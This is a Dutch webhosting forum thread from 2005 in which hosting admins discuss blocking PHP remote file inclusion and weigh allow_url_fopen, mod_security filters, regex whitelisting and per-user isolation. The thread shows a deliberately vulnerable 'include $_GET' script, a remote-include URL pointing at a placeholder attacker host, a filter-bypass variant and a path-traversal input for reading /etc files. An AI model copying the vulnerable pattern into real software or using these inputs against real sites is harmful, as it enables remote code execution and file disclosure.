PDA

Bekijk Volledige Versie : Externe PHP-code blokkeren?



Dennis
29/01/05, 16:23
Ik ben weer bezig met security en zie onveiligheden is bijvoorbeeld dit script.

pagina.php
<?php
include $_GET['id'];
?>
pagina.php?id=http://www.dennis.nl/25.gif

Hij voert dan gewoon de php-code uit die in 25.gif staat... (25.gif = text-file)

Server draait op PHP 4.3.10 met Safe_Mode enabled. Is zoiets te beveiligen?

wdv
29/01/05, 16:25
Ja, allow_url_fopen op off zetten.

Dennis
29/01/05, 16:30
Hebben jullie dit allemaal op off?

*EDIT*
Dit staat standaard aan bij een kale server-install. Dit staat na de Plesk/DirectAdmin/cPanel-installatie nog aan. Dit staat na de Zend-installatie nog aan... waarom zetten zij het dan niet uit?

wv-
29/01/05, 16:30
maar globaal zet je zoiets beter niet aan, want er zijn verschillende prefab scripts die ftp:// of http:// gebruiken.

Dennis
29/01/05, 16:36
Origineel geplaatst door wv-
maar globaal zet je zoiets beter niet aan, want er zijn verschillende prefab scripts die ftp:// of http:// gebruiken. Globaal (php.ini) kun je het beter op off zetten? Zie mijn edit ook in vorige bericht.

Hans
29/01/05, 16:36
Dat is ook niet de juiste methode. Je moet die $_GET['id'] liefst even matchen met een regular expression ofzo om ook zeker te weten dat 'ie niet begint met bv. "/" of "../". Als je 'm zou matchen met bv. "'^[a-z0-9]\.php$'i" ben je al een heel eind.

Dennis
29/01/05, 16:37
Origineel geplaatst door Hans
Dat is ook niet de juiste methode. Je moet die $_GET['id'] liefst even matchen met een regular expression ofzo om ook zeker te weten dat 'ie niet begint met bv. "/" of "../". Als je 'm zou matchen met bv. "'^[a-z0-9]\.php$'i" ben je al een heel eind. In je PHP-code ja... maar ik wil dit security-concern graag voor mijn klanten oplossen...

wv-
29/01/05, 17:21
Standaard op aan. De meeste klanten gaan het lastig vinden dat dit op "af" zou staan als ze een of ander scriptje willen installeren.

Wij laten dit aan staan, maar de klant heeft wel de mogelijkheid een eigen php.ini te zetten in elke web directory. Dit maakt het natuurlijk goed.

Ook moet jij eigenlijk niet inzitten met slechte scripts, die zullen er altijd wel zijn. Zorg gewoon dat indien een website gehackt wordt, de kraker niet verder geraakt dan die klant. Anders ga je de meer advanced php scripters afweren door alle limitaties die je toe past voor de klanten die er niks van kennen.

offtopic: Als jouw server op safe-mode staat, hoe kunnen jouw klanten dan bijvoorbeeld Gallery / grote CMS'n / ... draaien?

Thiaz
29/01/05, 19:37
Zoals wv- aangeeft is eigenlijk het slimste de server gewoon te beveiligen dmv eigen dirs, en niet meer.

Dit soort scripts zijn gewoon slecht (eigenlijk in hoofdletters).

Ik vrees dat PHP dit soort dingen niet zelf beveiligd met een methode.

Eerder in deze thread werd "allow_url_fopen" aangeraden om uit te zetten, leuk maar daar is het niet voor.

This option enables the URL-aware fopen wrappers that enable accessing URL object like files. Default wrappers are provided for the access of remote files using the ftp or http protocol ... etc
Bron (http://nl3.php.net/filesystem)

Geldt dus niet voor je lokale files, want die zijn niet remote je include code blijft gewoon zo.

Dennis
29/01/05, 22:25
Jawel, maar dan zou je niets meer van buiten kunnen include. Je kunt dan geen externe php-code includen die alsnog wordt uitgevoerd.

Ik denk dat jullie gelijk hebben. Deze bug pagina.php?id=http://hacker.nl/exploit.php valt gewoon niet te verhelpen als webhost.

allow_url_fopen uitzetten is geen optie. Daarmee beperk je je klanten ernstig. :(

Helaas... PHP-security has failed again :p

blaaat
29/01/05, 22:34
ik haal meestal met str_replace de http:// en dergelijke weg.

Mog
29/01/05, 22:45
Je kunt met mod_security filteren op zaken als; http:// of ftp:// dan hoef je ook al die zaken niet in de php configuratie aan te passen, naar mijn idee de beste oplossing voor jouw geval dennis.

Zaken als pagina.php?id=http://hacker.nl/exploit.php
worden dan niet toegelaten aangezien mod_security de http:// herkent als je daarop filtert en dus de betreffende request niet execute.

roland
29/01/05, 22:49
En? gebruik ik toch gewoon ftp://, gopher, etc.

Kwestie is relatief simpel:

a) php zo beveiligen dat alle klanten beperkingen hebben
b) zorgen dat alle gebruikers afgezonderd zijn

roland
29/01/05, 22:51
Origineel geplaatst door Mog
Je kunt met mod_security filteren op zaken als; http:// of ftp:// dan hoef je ook al die zaken niet in de php configuratie aan te passen, naar mijn idee de beste oplossing voor jouw geval dennis.

Zaken als pagina.php?id=http://hacker.nl/exploit.php
worden dan niet toegelaten aangezien mod_security de http:// herkent als je daarop filtert en dus de betreffende request niet execute.

maar daarmee fix je dit niet:

fopen('http://'.$_GET['url']);

url: page.php?url=/domain.nl/file.ext

Bottomline, je moet het niet moeilijk maken voor hackers om exploits te gebruiken maar onmogelijk

Mog
29/01/05, 23:29
Origineel geplaatst door roland
maar daarmee fix je dit niet:

fopen('http://'.$_GET['url']);

url: page.php?url=/domain.nl/file.ext

Dan filter je op ".nl" en een hele meuk aan andere extensies er ook nog eens bij, dan is je probleem opgelost in bijna alle gevallen.
Want met enkel fopen uitzetten ben je er nog lang niet, er zijn tal van manieren om externe files via php te executen.
Daarnaast zoals je zelf ook al aangeeft met een chrooted omgeving werken en met voorkeur een php cli versie dus.

Nitroserve
30/01/05, 02:03
Wat ook kan...

Kijken of het bestand bestaat DMV
file_exists($_GET['page'])

kan je iig geen URL's meer gebruiken....

WH-Tim
30/01/05, 02:59
Origineel geplaatst door DennisCitus
Jawel, maar dan zou je niets meer van buiten kunnen include. Je kunt dan geen externe php-code includen die alsnog wordt uitgevoerd.

Ik denk dat jullie gelijk hebben. Deze bug pagina.php?id=http://hacker.nl/exploit.php valt gewoon niet te verhelpen als webhost.

allow_url_fopen uitzetten is geen optie. Daarmee beperk je je klanten ernstig. :(

Helaas... PHP-security has failed again :p

Ook ik ben dagelijks met dit soort zaken bezig Dennis, maar in principe is dit volgensmij vrij snel op te lossen. Als de daemon oid geen schrijfrechten heeft op die map waarin de scripts staan of de mappen waarin die gebruiker mag (basedir restriction), kan er geen data geschreven worden en de host ook nog gehackt worden imo. Indien je hier over wilt praten per pb/msn kan natuurlijk altijd :)

WH-Tim
30/01/05, 03:00
Origineel geplaatst door Nitroserve
Wat ook kan...

Kijken of het bestand bestaat DMV
file_exists($_GET['page'])

kan je iig geen URL's meer gebruiken....

Dennis heeft het over het feit dat niet alle noobklanten dit weten. Zelfs sommige hostingbedrijven welke ik ken hebben dit probleem waardoor makkelijk alle bestanden uit te lezen zijn.

Het feit moet gewoon worden dat er 1 goede oplossing komt die niet per script toegepast dient te gaan worden :)

chielsen
30/01/05, 03:16
Ik denk niet dat dit beter zal worden omdat dat onmogelijk is, of apache moet kunnen gedachtenlezen.
Zoals al gezegd is, zet allow_url_fopen op off, maar zo kunnen bedoelde includes van pagina's niet meer werken. Wil je mensen die niet kunnen scripten in gemak tegemoet komen dan zet je dit op on...

Mijn advies: zet hem uit. Een goede scripter zal nooit php files remote hoeven te includen (iig niet op deze manier). Een slecht scripter zal vaak niet de mogelijkheid om niet-lokale files te kunnen includen.

WH-Tim
30/01/05, 03:19
Origineel geplaatst door chielsen
Wil je mensen die niet kunnen scripten in gemak tegemoet komen dan zet je dit op on...

Mijn advies: zet hem uit. Een goede scripter zal nooit php files remote hoeven te includen (iig niet op deze manier). Een slecht scripter zal vaak niet de mogelijkheid om niet-lokale files te kunnen includen.

Absoluut niet waar. Zelfs ik maak gebruik van scripts welke voor de opdrachtgever gebruikt dienen te maken van script op andere servers. Hierbij wordt je dus verplicht de uitvoer te strippen aangezien je geen broncode mag inzien en ben je verplicht http:// oid als extern include te gebruiken.

stijnbol
30/01/05, 09:57
Controleer via je code of het te includen script komt van het huidige domein van de website, of van een trusted domein vb. http://coding.citus.nl/klantnaam/script1.inc

Zo kan je de code waarvoor je uren hebt gezwoegd op je eigen site houden en niet als code delen met je klanten. Soort van klantenbinding dus ;-)

Dennis
30/01/05, 11:15
Origineel geplaatst door chielsen
Mijn advies: zet hem uit. Een goede scripter zal nooit php files remote hoeven te includen (iig niet op deze manier). Een slecht scripter zal vaak niet de mogelijkheid om niet-lokale files te kunnen includen. Dat is zeker niet waar. Verder zou ik hier problemen met mijn klanten mee krijgen.

Mod_Security zal ik overwegen. Maar ik weet alleen van webhostingtalk.nl dat ze er gebruik van maken. En webhostingtalk.nl geeft gigantisch veel Internal Server Errors.

handy
30/01/05, 11:22
Internal servers heeft denk ik niets te maken met mod_security, default geeft mod_security een 406 error terug. En persoonlijk vind ik dat mod_security meer voordelen dan nadelen heeft.

Dennis
30/01/05, 11:32
Origineel geplaatst door handy
Internal servers heeft denk ik niets te maken met mod_security, default geeft mod_security een 406 error terug. En persoonlijk vind ik dat mod_security meer voordelen dan nadelen heeft. Is mod_security een alternatief voor safe_mode? Of...

Ik heb nog steeds geen goede oplossing voor safe_mode gevonden. Het instellen van openbase_dir houdt nog steeds in dat \etc/passwd visible is. (\etc/shadows niet, maar passwd is net zo erg)

*pff... weer Internal Server Error*

chielsen
30/01/05, 16:29
Origineel geplaatst door WH-Tim


Absoluut niet waar. Zelfs ik maak gebruik van scripts welke voor de opdrachtgever gebruikt dienen te maken van script op andere servers. Hierbij wordt je dus verplicht de uitvoer te strippen aangezien je geen broncode mag inzien en ben je verplicht http:// oid als extern include te gebruiken.

Niet om het een of ander, maar ik heb het over goede scripters. Als je persee met include niet-lokale bestanden wil includen ben je gewoon niet goed bezig. Je wil altijd zo onafhankelijk mogelijk zijn van bepaalde server instelling. Je kan bijna alle scripts ook wel maken zodat het niet uitmaakt dat safe_mode uitstaat.

Domenico
30/01/05, 18:10
Origineel geplaatst door DennisCitus
En webhostingtalk.nl geeft gigantisch veel Internal Server Errors.

Sorry?
Beetje kletsverhaal natuurlijk...

Dennis
30/01/05, 18:25
Origineel geplaatst door Domenico
Sorry?
Beetje kletsverhaal natuurlijk... Niet heel vaak nee. Maar het is wel heel storend. Ik heb het de laatste 7 dagen al 5x gehad tijdens het posten. Dan moet je weer allemaal dingen gokken, waardoor het waarschijnlijk niet werd toegelaten enzo.

handy
30/01/05, 19:27
Dennis>> Mod security ruleert gewoon de pan uit :) Je kan gewoon 95% van de defacements tegen houden als je goede rules hebt. Probeer het eens zou ik zo zeggen!

Dennis
30/01/05, 19:31
Origineel geplaatst door handy
Dennis>> Mod security ruleert gewoon de pan uit :) Je kan gewoon 95% van de defacements tegen houden als je goede rules hebt. Probeer het eens zou ik zo zeggen! De goede rules? Je moet hem dus zelf configureren? Kun je hier niet beer templates van downloaden? Ipv. zelf wat aan te modderen?

Bontekoe
30/01/05, 19:34
Origineel geplaatst door handy
Dennis>> Mod security ruleert gewoon de pan uit :) Je kan gewoon 95% van de defacements tegen houden als je goede rules hebt. Probeer het eens zou ik zo zeggen!

En werkt dat goed samen met cpanel systemen?

WH-Tim
30/01/05, 20:11
Origineel geplaatst door chielsen


Niet om het een of ander, maar ik heb het over goede scripters. Als je persee met include niet-lokale bestanden wil includen ben je gewoon niet goed bezig. Je wil altijd zo onafhankelijk mogelijk zijn van bepaalde server instelling. Je kan bijna alle scripts ook wel maken zodat het niet uitmaakt dat safe_mode uitstaat.

Er zijn voorbeelden genoeg waarvan ik eigenlijk geen ga geven, maar op het moment dat een script werkt op de resultaten van een andere pagina (lees bv.: ringtone sites welke elke dag automatisch het content doen updaten), dan zul je altijd externe pagina's moeten laden.

Ook 0900 systemen welke op maat worden gemaakt of andere partners zoals ringtonio / mobilemoney gebruiken hun eigen code waardoor je verplicht wordt http:// -> externe bronnen te gebruiken.

Nu jij weer :)

chielsen
30/01/05, 20:34
Origineel geplaatst door WH-Tim


Er zijn voorbeelden genoeg waarvan ik eigenlijk geen ga geven, maar op het moment dat een script werkt op de resultaten van een andere pagina (lees bv.: ringtone sites welke elke dag automatisch het content doen updaten), dan zul je altijd externe pagina's moeten laden.

Ook 0900 systemen welke op maat worden gemaakt of andere partners zoals ringtonio / mobilemoney gebruiken hun eigen code waardoor je verplicht wordt http:// -> externe bronnen te gebruiken.

Nu jij weer :)

Ooit gehoord van sockets?

WH-Tim
30/01/05, 20:36
Ja hoor :)

handy
30/01/05, 21:22
mod_security kan je zo strak als je zelf wilt instellen, het is eerst wat proberen via trial on error. Er zijn op itnernet genoeg voorbeeld te vinden hoe je mod_security moet instellen.

@bontekoe: mod_security is een apache module werkt bijv prima met ensim, dus zal ook wel met cpanel werken

galious
31/01/05, 20:38
Origineel geplaatst door chielsen


Ooit gehoord van sockets?
Lijkt me wel zo verstandig. Wat als een hacker het voor elkaar krijgt om een domein naar hemzelf te routeren? Hackt hij in 1x een tig aantal domeinen (als er geen verdere beveiligingsmaatregelen zijn genomen).

Beveiliging is altijd een trade-off. Wellicht een idee om servers veilig in te stellen en een enkele server in te stellen voor klanten die de minder veilige functies daadwerkelijk nodig hebben?

Aloha,

Martin

roland
31/01/05, 23:51
Dan filter je op ".nl" en een hele meuk aan andere extensies er ook nog eens bij, dan is je probleem opgelost in bijna alle gevallen.


Dan kunnen bestanden al 'lang.nl.php' niet geinclude worden, erg handig... Zullen klanten waarderen die .nl gebruiken in bestandsnamen of querystring. Daarnaast zal je dus ALLE extensie sin een lijst moeten gooien, gaat dus echt nergens over.


Wat ook kan...

Kijken of het bestand bestaat DMV
file_exists($_GET['page'])

kan je iig geen URL's meer gebruiken....

?page=../../../etc/pwd werkt dan wel.

Bottom line is, je moet een oplossing server-matig vinden. Niet script matig!